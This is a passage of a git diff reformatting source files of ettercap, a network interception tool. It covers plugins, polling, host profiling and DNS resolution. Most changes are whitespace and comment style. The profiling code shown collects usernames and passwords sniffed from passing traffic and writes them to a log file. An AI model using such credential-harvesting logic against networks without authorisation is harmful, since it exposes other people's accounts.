plugin_kill_thread(char *name, char *thread) } } KILL_UNLOCK; - + return -E_NOTFOUND; } @@ -382,7 +379,7 @@ int plugin_list_walk(int min, int max, void (*func)(char, struct plugin_ops *)) SLIST_FOREACH(p, &plugin_head, next) { if (i > max) - return (i-1); + return i - 1; if (i < min) { i++; continue; @@ -390,8 +387,8 @@ int plugin_list_walk(int min, int max, void (*func)(char, struct plugin_ops *)) func(p->activated, p->ops); i++; } - - return (i == min) ? -E_NOTFOUND : (i-1); + + return (i == min) ? -E_NOTFOUND : (i - 1); } /* @@ -407,7 +404,7 @@ int plugin_is_activated(char *name) return p->activated; } } - + return 0; } @@ -423,7 +420,7 @@ int search_plugin(char *name) return E_SUCCESS; } } - + return -E_NOTFOUND; } @@ -438,7 +435,7 @@ void plugin_list(void) /* load all the plugins */ plugin_load_all(); - + /* print the list */ fprintf(stdout, "\nAvailable plugins :\n\n"); ret = plugin_list_walk(PLP_MIN, PLP_MAX, &plugin_print); @@ -447,7 +444,6 @@ void plugin_list(void) return; } fprintf(stdout, "\n\n"); - } /* @@ -469,17 +465,16 @@ void free_plugin_list(struct plugin_list_t plugins) } /* - * callback function for displaying the plugin list + * callback function for displaying the plugin list */ static void plugin_print(char active, struct plugin_ops *ops) { /* variable not used */ - (void) active; + (void)active; - fprintf(stdout, " %15s %4s %s\n", ops->name, ops->version, ops->info); + fprintf(stdout, " %15s %4s %s\n", ops->name, ops->version, ops->info); } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_poll.c b/src/ec_poll.c index 1a3ae327e..42f5e2da5 100644 --- a/src/ec_poll.c +++ b/src/ec_poll.c @@ -1,34 +1,34 @@ /* - ettercap -- poll events (use poll or select) - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- poll events (use poll or select) + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #ifdef HAVE_SYS_POLL_H - #include -#elif defined (HAVE_POLL_H) - #include +#include +#elif defined(HAVE_POLL_H) +#include #endif #ifdef HAVE_SYS_SELECT_H - #include +#include #endif /* protos */ @@ -47,51 +47,50 @@ int ec_poll_in(int fd, u_int msec) #if defined(HAVE_POLL) && !defined(OS_DARWIN) int poll_result; struct pollfd poll_fd; - + /* set the correct fd */ poll_fd.fd = fd; poll_fd.events = POLLIN; - + /* execute the syscall */ poll_result = poll(&poll_fd, 1, msec); - + /* the event has occurred, return 1 */ if (poll_result > 0 && poll_fd.revents & POLLIN) return 1; - + return 0; - + #elif defined(HAVE_SELECT) fd_set msk_fd; struct timeval to; - + memset(&to, 0, sizeof(struct timeval)); /* timeval uses microseconds */ to.tv_usec = MILLI2MICRO(msec); - + FD_ZERO(&msk_fd); - + /* set the correct fd */ FD_SET(fd, &msk_fd); /* execute the syscall */ - int fds = select(FOPEN_MAX, &msk_fd, (fd_set *) 0, (fd_set *) 0, &to); - + int fds = select(FOPEN_MAX, &msk_fd, (fd_set *)0, (fd_set *)0, &to); + if (fds <= 0) { return 0; - } + } /* the even has occurred */ if (FD_ISSET(0, &msk_fd)) return 1; - + return 0; #else - #error "you don't have neither poll nor select" +#error "you don't have neither poll nor select" #endif } - /* * looks for event on OUTPUT */ @@ -99,46 +98,46 @@ int ec_poll_out(int fd, u_int msec) { #if defined(HAVE_POLL) && !defined(OS_DARWIN) struct pollfd poll_fd; - + /* set the correct fd */ poll_fd.fd = fd; poll_fd.events = POLLOUT; - + /* execute the syscall */ poll(&poll_fd, 1, msec); /* the event has occurred, return 1 */ if (poll_fd.revents & POLLOUT) return 1; - + return 0; - + #elif defined(HAVE_SELECT) fd_set msk_fd; struct timeval to; - + memset(&to, 0, sizeof(struct timeval)); /* timeval uses microseconds */ to.tv_usec = MILLI2MICRO(msec); - + FD_ZERO(&msk_fd); - + /* set the correct fd */ FD_SET(fd, &msk_fd); /* execute the syscall */ - int fds = select(FOPEN_MAX, (fd_set *) 0, &msk_fd, (fd_set *) 0, &to); - - if (fds <=0) - return 0; + int fds = select(FOPEN_MAX, (fd_set *)0, &msk_fd, (fd_set *)0, &to); + + if (fds <= 0) + return 0; /* the even has occurred */ if (FD_ISSET(0, &msk_fd)) return 1; - + return 0; #else - #error "you don't have neither poll nor select" +#error "you don't have neither poll nor select" #endif } @@ -158,4 +157,3 @@ int ec_poll_buffer(char *buf) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_profiles.c b/src/ec_profiles.c index c98f54fd9..557b3d6ec 100644 --- a/src/ec_profiles.c +++ b/src/ec_profiles.c @@ -1,23 +1,23 @@ /* - ettercap -- host profiling module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- host profiling module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -48,11 +48,11 @@ static void set_gateway(u_char *L2_addr); /* global mutex on interface */ static pthread_mutex_t profile_mutex = PTHREAD_MUTEX_INITIALIZER; -#define PROFILE_LOCK do { pthread_mutex_lock(&profile_mutex); } while(0) -#define PROFILE_UNLOCK do { pthread_mutex_unlock(&profile_mutex); } while(0) +#define PROFILE_LOCK do { pthread_mutex_lock(&profile_mutex); } while (0) +#define PROFILE_UNLOCK do { pthread_mutex_unlock(&profile_mutex); } while (0) /************************************************/ - + /* * add the hook function */ @@ -60,21 +60,20 @@ void __init profiles_init(void) { /* add the hook for the ARP packets */ hook_add(HOOK_PACKET_ARP, &profile_parse); - + /* add the hook for ICMP packets */ hook_add(HOOK_PACKET_ICMP, &profile_parse); /* add the hook for ICMPv6 packets */ hook_add(HOOK_PACKET_ICMP6, &profile_parse); - + /* add the hook for DHCP packets */ hook_add(HOOK_PROTO_DHCP_PROFILE, &profile_parse); - + /* receive all the top half packets */ hook_add(HOOK_DISPATCHER, &profile_parse); } - /* * decides if the packet has to be added * to the profiles @@ -86,8 +85,8 @@ void profile_parse(struct packet_object *po) if (!GBL_CONF->store_profiles) { return; } - - /* + + /* * skip packet sent (spoofed) by us * else we will get duplicated hosts with our mac address * this is necessary because check_forwarded() is executed @@ -104,9 +103,9 @@ void profile_parse(struct packet_object *po) */ po->flags |= PO_IGNORE; EXECUTE(GBL_SNIFF->interesting, po); - if ( po->flags & PO_IGNORE ) - return; - + if (po->flags & PO_IGNORE) + return; + /* * call the add function only if the packet * is interesting... @@ -114,45 +113,44 @@ void profile_parse(struct packet_object *po) * - ICMP packets * - DNS packets that contain GW information (they use fake icmp po) */ - if ( po->L3.proto == htons(LL_TYPE_ARP) || /* arp packets */ - po->L4.proto == NL_TYPE_ICMP || /* icmp packets */ - po->L4.proto == NL_TYPE_ICMP6 - ) + if (po->L3.proto == htons(LL_TYPE_ARP) || /* arp packets */ + po->L4.proto == NL_TYPE_ICMP || /* icmp packets */ + po->L4.proto == NL_TYPE_ICMP6 + ) profile_add_host(po); - - /* + + /* * we don't want to log conversations, only * open ports, OSes etc etc ;) */ - if ( is_open_port(po->L4.proto, po->L4.src, po->L4.flags) || /* src port is open */ - strcmp(po->PASSIVE.fingerprint, "") || /* collected fingerprint */ - po->DISSECTOR.banner || /* banner */ - po->DISSECTOR.os - ) + if (is_open_port(po->L4.proto, po->L4.src, po->L4.flags) || /* src port is open */ + strcmp(po->PASSIVE.fingerprint, "") || /* collected fingerprint */ + po->DISSECTOR.banner || /* banner */ + po->DISSECTOR.os + ) profile_add_host(po); - /* - * usernames and passwords are to be bound to + /* + * usernames and passwords are to be bound to * destination host, not source. * do it here, search for the right host and add * the username to the right port. */ - if ( po->DISSECTOR.user || /* user */ - po->DISSECTOR.pass || /* pass */ - po->DISSECTOR.info /* info */ - ) + if (po->DISSECTOR.user || /* user */ + po->DISSECTOR.pass || /* pass */ + po->DISSECTOR.info /* info */ + ) profile_add_user(po); - if ( po->DISSECTOR.advertised_port != 0 && - po->DISSECTOR.advertised_proto != 0 - ) + if (po->DISSECTOR.advertised_port != 0 && + po->DISSECTOR.advertised_proto != 0 + ) profile_add_host(po); return; } - -/* +/* * add the infos to the profiles tables * return the number of hosts added (1 if added, 0 if updated) */ @@ -162,8 +160,8 @@ static int profile_add_host(struct packet_object *po) struct host_profile *c; struct host_profile *last = NULL; char tmp[MAX_ASCII_ADDR_LEN]; - - /* + + /* * do not store profiles for hosts with ip == 0.0.0.0 * they are hosts requesting for a dhcp/bootp reply. * they will get an ip address soon and we are interested @@ -171,14 +169,14 @@ static int profile_add_host(struct packet_object *po) */ if (ip_addr_is_zero(&po->L3.src)) return 0; - + /* We don't need a profile on ourselves, do we? */ - if(!memcmp(&po->L2.src, &GBL_IFACE->mac, MEDIA_ADDR_LEN) || - !memcmp(&po->L2.src, &GBL_BRIDGE->mac, MEDIA_ADDR_LEN)) + if (!memcmp(&po->L2.src, &GBL_IFACE->mac, MEDIA_ADDR_LEN) || + !memcmp(&po->L2.src, &GBL_BRIDGE->mac, MEDIA_ADDR_LEN)) return 0; - - /* - * if the type is FP_HOST_NONLOCAL + + /* + * if the type is FP_HOST_NONLOCAL * search for the GW and mark it */ if (po->PASSIVE.flags & FP_HOST_NONLOCAL) { @@ -193,11 +191,12 @@ static int profile_add_host(struct packet_object *po) TAILQ_FOREACH(h, &GBL_PROFILES, next) { /* an host is identified by the mac and the ip address */ /* if the mac address is null also update it since it could - * be captured as a DHCP packet specifying the GW + * be captured as a DHCP packet specifying the GW */ if ((!memcmp(h->L2_addr, po->L2.src, MEDIA_ADDR_LEN) || - !memcmp(po->L2.src, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN) ) && - !ip_addr_cmp(&h->L3_addr, &po->L3.src) ) { + !memcmp(po->L2.src, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN)) && + !ip_addr_cmp(&h->L3_addr, &po->L3.src)) + { update_info(h, po); /* the host was already in the list @@ -206,66 +205,66 @@ static int profile_add_host(struct packet_object *po) return 0; } } - + PROFILE_UNLOCK; - + DEBUG_MSG("profile_add_host %s", ip_addr_ntoa(&po->L3.src, tmp)); - - /* - * the host was not found, create a new entry + + /* + * the host was not found, create a new entry * before the creation check if it has to be stored... */ - + /* this is a local and we want only remote */ if ((po->PASSIVE.flags & FP_HOST_LOCAL) && (GBL_CONF->store_profiles == ONLY_REMOTE_PROFILES)) return 0; - + /* this is remote and we want only local */ if ((po->PASSIVE.flags & FP_HOST_NONLOCAL) && (GBL_CONF->store_profiles == ONLY_LOCAL_PROFILES)) return 0; - + /* create the new host */ SAFE_CALLOC(h, 1, sizeof(struct host_profile)); - + PROFILE_LOCK; - + /* fill the structure with the collected infos */ update_info(h, po); - + /* search the right point to inser it (ordered ascending) */ TAILQ_FOREACH(c, &GBL_PROFILES, next) { - if ( ip_addr_cmp(&c->L3_addr, &h->L3_addr) > 0 ) + if (ip_addr_cmp(&c->L3_addr, &h->L3_addr) > 0) break; last = c; } - - if (TAILQ_FIRST(&GBL_PROFILES) == NULL) + + if (TAILQ_FIRST(&GBL_PROFILES) == NULL) TAILQ_INSERT_HEAD(&GBL_PROFILES, h, next); - else if (c != NULL) + else if (c != NULL) TAILQ_INSERT_BEFORE(c, h, next); - else + else TAILQ_INSERT_AFTER(&GBL_PROFILES, last, h, next); PROFILE_UNLOCK; - + DEBUG_MSG("profile_add_host: ADDED"); - - return 1; + + return 1; } /* set the info in a host profile */ static void update_info(struct host_profile *h, struct packet_object *po) { - + /* if it is marked as the gateway or unkown, don't update */ - if ( !(h->type & FP_GATEWAY) && !(h->type & FP_UNKNOWN) ) + if (!(h->type & FP_GATEWAY) && !(h->type & FP_UNKNOWN)) h->type = po->PASSIVE.flags; - + /* update the mac address only if local or unknown */ if (h->type & FP_HOST_LOCAL || h->type == FP_UNKNOWN) memcpy(h->L2_addr, po->L2.src, MEDIA_ADDR_LEN); - + /* the ip address */ memcpy(&h->L3_addr, &po->L3.src, sizeof(struct ip_addr)); @@ -274,21 +273,21 @@ static void update_info(struct host_profile *h, struct packet_object *po) h->distance = TTL_PREDICTOR(po->L3.ttl) - po->L3.ttl + 1; else h->distance = po->L3.ttl; - + /* get the hostname */ host_iptoa(&po->L3.src, h->hostname); if (po->DISSECTOR.os && h->os == NULL) h->os = strdup(po->DISSECTOR.os); - /* + /* * update the fingerprint only if there isn't a previous one * or if the previous fingerprint was an ACK * fingerprint. SYN fingers are more reliable */ if (po->PASSIVE.fingerprint[FINGER_TCPFLAG] != '\0' && - (h->fingerprint[FINGER_TCPFLAG] == '\0' || - h->fingerprint[FINGER_TCPFLAG] == 'A') ) + (h->fingerprint[FINGER_TCPFLAG] == '\0' || + h->fingerprint[FINGER_TCPFLAG] == 'A')) memcpy(h->fingerprint, po->PASSIVE.fingerprint, FINGER_LEN); /* add the open port */ @@ -298,8 +297,7 @@ static void update_info(struct host_profile *h, struct packet_object *po) update_port_list_with_advertised(h, po->DISSECTOR.advertised_proto, po->DISSECTOR.advertised_port); } - -/* +/* * search the host with this L2_addr * and mark it as the GW */ @@ -311,24 +309,24 @@ static void set_gateway(u_char *L2_addr) /* skip null mac addresses */ if (!memcmp(L2_addr, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN)) return; - + PROFILE_LOCK; TAILQ_FOREACH(h, &GBL_PROFILES, next) { - if (!memcmp(h->L2_addr, L2_addr, MEDIA_ADDR_LEN) ) { - h->type |= FP_GATEWAY; + if (!memcmp(h->L2_addr, L2_addr, MEDIA_ADDR_LEN)) { + h->type |= FP_GATEWAY; PROFILE_UNLOCK; return; } } - + PROFILE_UNLOCK; } -/* +/* * update the list of open ports */ - + static void update_port_list(struct host_profile *h, struct packet_object *po) { struct open_port *o; @@ -346,35 +344,34 @@ static void update_port_list(struct host_profile *h, struct packet_object *po) return; } } - + /* skip this port, the packet was logged for * another reason, not the open port */ - if ( !is_open_port(po->L4.proto, po->L4.src, po->L4.flags) ) + if (!is_open_port(po->L4.proto, po->L4.src, po->L4.flags)) return; DEBUG_MSG("update_port_list"); - + /* create a new entry */ SAFE_CALLOC(o, 1, sizeof(struct open_port)); - + o->L4_proto = po->L4.proto; o->L4_addr = po->L4.src; - + /* search the right point to inser it (ordered ascending) */ LIST_FOREACH(p, &(h->open_ports_head), next) { - if ( ntohs(p->L4_addr) > ntohs(o->L4_addr) ) + if (ntohs(p->L4_addr) > ntohs(o->L4_addr)) break; last = p; } /* insert in the right position */ - if (LIST_FIRST(&(h->open_ports_head)) == NULL) + if (LIST_FIRST(&(h->open_ports_head)) == NULL) LIST_INSERT_HEAD(&(h->open_ports_head), o, next); - else if (p != NULL) + else if (p != NULL) LIST_INSERT_BEFORE(p, o, next); - else + else LIST_INSERT_AFTER(last, o, next); - } static void update_port_list_with_advertised(struct host_profile *h, uint8_t L4_proto, uint16_t L4_src) @@ -386,7 +383,7 @@ static void update_port_list_with_advertised(struct host_profile *h, uint8_t L4_ /* search for an existing port */ LIST_FOREACH(o, &(h->open_ports_head), next) { if (o->L4_proto == L4_proto && o->L4_addr == L4_src) { - // already logged + // already logged return; } } @@ -401,7 +398,7 @@ static void update_port_list_with_advertised(struct host_profile *h, uint8_t L4_ /* search the right point to inser it (ordered ascending) */ LIST_FOREACH(p, &(h->open_ports_head), next) { - if ( ntohs(p->L4_addr) > ntohs(o->L4_addr) ) + if (ntohs(p->L4_addr) > ntohs(o->L4_addr)) break; last = p; } @@ -414,7 +411,8 @@ static void update_port_list_with_advertised(struct host_profile *h, uint8_t L4_ else LIST_INSERT_AFTER(last, o, next); } -/* + +/* * update the users list */ @@ -430,17 +428,17 @@ static int profile_add_user(struct packet_object *po) /* no info to update */ if (po->DISSECTOR.user == NULL || po->DISSECTOR.pass == NULL) return 0; - + DEBUG_MSG("profile_add_user"); - - PROFILE_LOCK; - + + PROFILE_LOCK; + /* search the right port on the right host */ TAILQ_FOREACH(h, &GBL_PROFILES, next) { - + /* right host */ - if ( !ip_addr_cmp(&h->L3_addr, &po->L3.dst) ) { - + if (!ip_addr_cmp(&h->L3_addr, &po->L3.dst)) { + LIST_FOREACH(o, &(h->open_ports_head), next) { /* right port and proto */ if (o->L4_proto == po->L4.proto && o->L4_addr == po->L4.dst) { @@ -450,33 +448,34 @@ static int profile_add_user(struct packet_object *po) } } /* if already found, exit the loop */ - if (found) + if (found) break; } - - /* + + /* * the port was not found... possible ? * yes, but extremely rarely. - * don't worry, we have lost this for now, + * don't worry, we have lost this for now, * but the next time it will be captured. */ if (!found || o == NULL) { PROFILE_UNLOCK; return 0; } - - /* search if the user was already logged */ + + /* search if the user was already logged */ LIST_FOREACH(u, &(o->users_list_head), next) { - if (!strcmp(u->user, po->DISSECTOR.user) && + if (!strcmp(u->user, po->DISSECTOR.user) && !strcmp(u->pass, po->DISSECTOR.pass) && - !ip_addr_cmp(&u->client, &po->L3.src)) { + !ip_addr_cmp(&u->client, &po->L3.src)) + { PROFILE_UNLOCK; return 0; } } - + SAFE_CALLOC(u, 1, sizeof(struct active_user)); - + /* if there are infos copy it, else skip */ if (po->DISSECTOR.user && po->DISSECTOR.pass) { u->user = strdup(po->DISSECTOR.user); @@ -489,27 +488,27 @@ static int profile_add_user(struct packet_object *po) PROFILE_UNLOCK; return 0; } - + if (po->DISSECTOR.info) u->info = strdup(po->DISSECTOR.info); - + /* search the right point to inser it (ordered alphabetically) */ LIST_FOREACH(a, &(o->users_list_head), next) { - if ( strcmp(a->user, u->user) > 0 ) + if (strcmp(a->user, u->user) > 0) break; last = a; } - + /* insert in the right position */ - if (LIST_FIRST(&(o->users_list_head)) == NULL) + if (LIST_FIRST(&(o->users_list_head)) == NULL) LIST_INSERT_HEAD(&(o->users_list_head), u, next); - else if (a != NULL) + else if (a != NULL) LIST_INSERT_BEFORE(a, u, next); - else + else LIST_INSERT_AFTER(last, u, next); - + PROFILE_UNLOCK; - + return 1; } @@ -534,17 +533,17 @@ void profile_purge_remote(void) } /* - * purge all the host list + * purge all the host list */ void profile_purge_all(void) { DEBUG_MSG("profile_purge_all"); - profile_purge( FP_HOST_LOCAL | FP_HOST_NONLOCAL ); + profile_purge(FP_HOST_LOCAL | FP_HOST_NONLOCAL); return; } /* - * do the actual elimination + * do the actual elimination */ static void profile_purge(int flags) { @@ -560,9 +559,9 @@ static void profile_purge(int flags) if (h->type & flags) { /* free all the alloc'd ports */ LIST_FOREACH_SAFE(o, &(h->open_ports_head), next, tmp_o) { - + SAFE_FREE(o->banner); - + LIST_FOREACH_SAFE(u, &(o->users_list_head), next, tmp_u) { /* free the current infos */ SAFE_FREE(u->user); @@ -580,12 +579,12 @@ static void profile_purge(int flags) SAFE_FREE(h); } } - + PROFILE_UNLOCK; } /* - * convert the LOCAL profiles into the hosts list + * convert the LOCAL profiles into the hosts list * (created by the initial scan) * this is useful to start in silent mode and collect * the list in passive mode. @@ -612,15 +611,14 @@ int profile_convert_to_hostlist(void) } PROFILE_UNLOCK; - + return count; } - /* * fill the desc and return the next/prev element */ -void * profile_print(int mode, void *list, char **desc, size_t len) +void *profile_print(int mode, void *list, char **desc, size_t len) { struct host_profile *h = (struct host_profile *)list; struct host_profile *hl; @@ -638,17 +636,17 @@ void * profile_print(int mode, void *list, char **desc, size_t len) #ifdef WITH_GEOIP size_t slen; #endif - + /* search at least one account */ LIST_FOREACH(o, &(h->open_ports_head), next) { LIST_FOREACH(u, &(o->users_list_head), next) { found = 1; } } - + ip_addr_ntoa(&h->L3_addr, tmp); - snprintf(*desc, len, "%c %15s %s", (found) ? '*' : ' ', - tmp, h->hostname); + snprintf(*desc, len, "%c %15s %s", (found) ? '*' : ' ', + tmp, h->hostname); #ifdef WITH_GEOIP /* determine current string length */ @@ -656,35 +654,34 @@ void * profile_print(int mode, void *list, char **desc, size_t len) /* check if enough space is available to append the GeoIP info */ if (len - slen > 14 && GBL_CONF->geoip_support_enable) { - snprintf(*desc + slen, len - slen, ", %s", - geoip_country_by_ip(&h->L3_addr)); + snprintf(*desc + slen, len - slen, ", %s", + geoip_country_by_ip(&h->L3_addr)); } #endif - } - + /* return the next/prev/current to the caller */ switch (mode) { - case -1: - return TAILQ_PREV(h, gbl_ptail, next); - break; - case +1: - return TAILQ_NEXT(h, next); - break; - case 0: - /* if exists in the list, return it */ - TAILQ_FOREACH(hl, &GBL_PROFILES, next) { - if (hl == h) - return h; - } - /* else, return NULL */ - return NULL; - break; - default: - return list; - break; + case -1: + return TAILQ_PREV(h, gbl_ptail, next); + break; + case +1: + return TAILQ_NEXT(h, next); + break; + case 0: + /* if exists in the list, return it */ + TAILQ_FOREACH(hl, &GBL_PROFILES, next) { + if (hl == h) + return h; + } + /* else, return NULL */ + return NULL; + break; + default: + return list; + break; } - + return NULL; } @@ -694,22 +691,22 @@ void * profile_print(int mode, void *list, char **desc, size_t len) int profile_dump_to_file(char *filename) { struct log_fd fd; - char eci[strlen(filename)+5]; + char eci[strlen(filename) + 5]; struct host_profile *h; struct open_port *o; struct active_user *u; struct packet_object po; - + DEBUG_MSG("profile_dump_to_file: %s", filename); /* append the extension */ - snprintf(eci, strlen(filename)+5, "%s.eci", filename); - + snprintf(eci, strlen(filename) + 5, "%s.eci", filename); + if (GBL_OPTIONS->compress) fd.type = LOG_COMPRESSED; else fd.type = LOG_UNCOMPRESSED; - + /* open the file for dumping */ if (log_open(&fd, eci) != E_SUCCESS) return -E_FATAL; @@ -721,9 +718,9 @@ int profile_dump_to_file(char *filename) PROFILE_LOCK; TAILQ_FOREACH(h, &GBL_PROFILES, next) { - + memset(&po, 0, sizeof(struct packet_object)); - + /* create the po for logging */ memcpy(&po.L2.src, h->L2_addr, MEDIA_ADDR_LEN); memcpy(&po.L3.src, &h->L3_addr, sizeof(struct ip_addr)); @@ -732,46 +729,46 @@ int profile_dump_to_file(char *filename) po.L3.ttl = 128 - h->distance + 1; po.PASSIVE.flags = h->type; memcpy(&po.PASSIVE.fingerprint, h->fingerprint, FINGER_LEN); - + /* log for each host */ log_write_info_arp_icmp(&fd, &po); - + /* log the info. needed to record the fingerprint. - * the above function will not log it + * the above function will not log it */ log_write_info(&fd, &po); - + LIST_FOREACH(o, &(h->open_ports_head), next) { - + memcpy(&po.L2.src, h->L2_addr, MEDIA_ADDR_LEN); memcpy(&po.L3.src, &h->L3_addr, sizeof(struct ip_addr)); memset(&po.PASSIVE.fingerprint, 0, FINGER_LEN); - + po.L4.src = o->L4_addr; /* put the fake syn+ack to impersonate an open port */ po.L4.flags = TH_SYN | TH_ACK; po.L4.proto = o->L4_proto; - + /* log the packet for the open port */ log_write_info(&fd, &po); - + po.DISSECTOR.banner = o->banner; - + /* log for the banner */ if (o->banner) log_write_info(&fd, &po); - + LIST_FOREACH(u, &(o->users_list_head), next) { memcpy(&po.L3.dst, &h->L3_addr, sizeof(struct ip_addr)); /* the source addr is the client address */ memcpy(&po.L3.src, &u->client, sizeof(struct ip_addr)); - + /* to exclude the open port check */ po.L4.flags = TH_PSH; po.L4.dst = o->L4_addr; po.L4.src = 0; - + po.DISSECTOR.user = u->user; po.DISSECTOR.pass = u->pass; po.DISSECTOR.info = u->info; @@ -786,7 +783,7 @@ int profile_dump_to_file(char *filename) } PROFILE_UNLOCK; - + /* close the file */ log_close(&fd); @@ -796,4 +793,3 @@ int profile_dump_to_file(char *filename) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_resolv.c b/src/ec_resolv.c index faea1a67f..c1b38cd66 100644 --- a/src/ec_resolv.c +++ b/src/ec_resolv.c @@ -1,23 +1,23 @@ /* - ettercap -- name resolution module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- name resolution module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -30,21 +30,21 @@ #endif #ifndef OS_WINDOWS - #include +#include #endif #define TABBIT 9 /* 2^9 bit tab entries: 512 SLISTS */ -#define TABSIZE (1UL<resolve) return -E_NOTFOUND; - + DEBUG_MSG("host_iptoa() %s not in cache", ip_addr_ntoa(ip, tmp)); - /* + /* * The host was not in the cache but requests to resolve, * so we continue resolving it in a non-blocking manner. * We return -E_NOMATCH to indicate that we try to resolve it * and the result may be in the cache later. * That way we don't block the application if the OS is configured * to include mDNS in the host resolution process (/etc/nsswitch.conf). - * Including mDNS enriches the results but heavily delays if + * Including mDNS enriches the results but heavily delays if * many hosts are online on the link. */ RESOLVQ_LOCK; @@ -153,7 +153,7 @@ int host_iptoa(struct ip_addr *ip, char *name) void resolv_thread_init(void) { int i; - char thread_name[16]; + char thread_name[16]; DEBUG_MSG("resolv_thread_init()"); @@ -162,9 +162,9 @@ void resolv_thread_init(void) /* spawn resolution worker threads */ for (i = 0; i < NUM_RESOLV_THREADS; i++) { - snprintf(thread_name, sizeof(thread_name), "resolver-%d", i+1); - resolv_threads[i] = ec_thread_new(thread_name, "DNS resolver", - &resolv_thread_main, NULL); + snprintf(thread_name, sizeof(thread_name), "resolver-%d", i + 1); + resolv_threads[i] = ec_thread_new(thread_name, "DNS resolver", + &resolv_thread_main, NULL); } } @@ -186,7 +186,7 @@ void resolv_thread_fini(void) if (strcmp(ec_thread_getname(resolv_threads[i]), "NR_THREAD")) /* send cancel signal to thread */ ec_thread_destroy(resolv_threads[i]); - + /* empty queue and free allocated memory if applicable */ RESOLVQ_LOCK; while (!STAILQ_EMPTY(&resolv_queue_head)) { @@ -199,7 +199,7 @@ void resolv_thread_fini(void) /* * this function the resolution threads wait in this function - * until a IP address is to be resolved and inserted into the + * until a IP address is to be resolved and inserted into the * name cache. With many IP hosts on the link, the number of * parallel threads can be increased by NUM_RESOLV_THREADS. */ @@ -215,7 +215,7 @@ EC_THREAD_FUNC(resolv_thread_main) #endif /* variable not used */ - (void) EC_THREAD_PARAM; + (void)EC_THREAD_PARAM; /* init the thread */ ec_thread_init(); @@ -251,24 +251,24 @@ EC_THREAD_FUNC(resolv_thread_main) } /* - * yeah, we got something to do - lets rock..... + * yeah, we got something to do - lets rock..... * In any case the name cache is updated so that a second call of * of host_iptoa() gets a result. */ if (resolv_dns(&ip, host)) { - /* + /* * insert the "" in the cache so we don't search for * non existent hosts every new query. */ - DEBUG_MSG("resolv_dns: not found for %s", - ip_addr_ntoa(&ip, tmp)); + DEBUG_MSG("resolv_dns: not found for %s", + ip_addr_ntoa(&ip, tmp)); RESOLVC_LOCK; resolv_cache_insert(&ip, ""); RESOLVC_UNLOCK; } else { - DEBUG_MSG("resolv_dns: %s found for %s", host, - ip_addr_ntoa(&ip, tmp)); + DEBUG_MSG("resolv_dns: %s found for %s", host, + ip_addr_ntoa(&ip, tmp)); /* insert the result in the cache for later use */ RESOLVC_LOCK; @@ -280,7 +280,7 @@ EC_THREAD_FUNC(resolv_thread_main) return NULL; } -/* +/* * perform the ip to name resolution as a dedicated thread. */ static int resolv_dns(struct ip_addr *ip, char *hostname) @@ -289,27 +289,26 @@ static int resolv_dns(struct ip_addr *ip, char *hostname) struct sockaddr_in *sa4; struct sockaddr_in6 *sa6; socklen_t sa_len; - + /* prepare struct */ switch (ntohs(ip->addr_type)) { - case AF_INET: - sa4 = (struct sockaddr_in *)&ss; - sa4->sin_family = 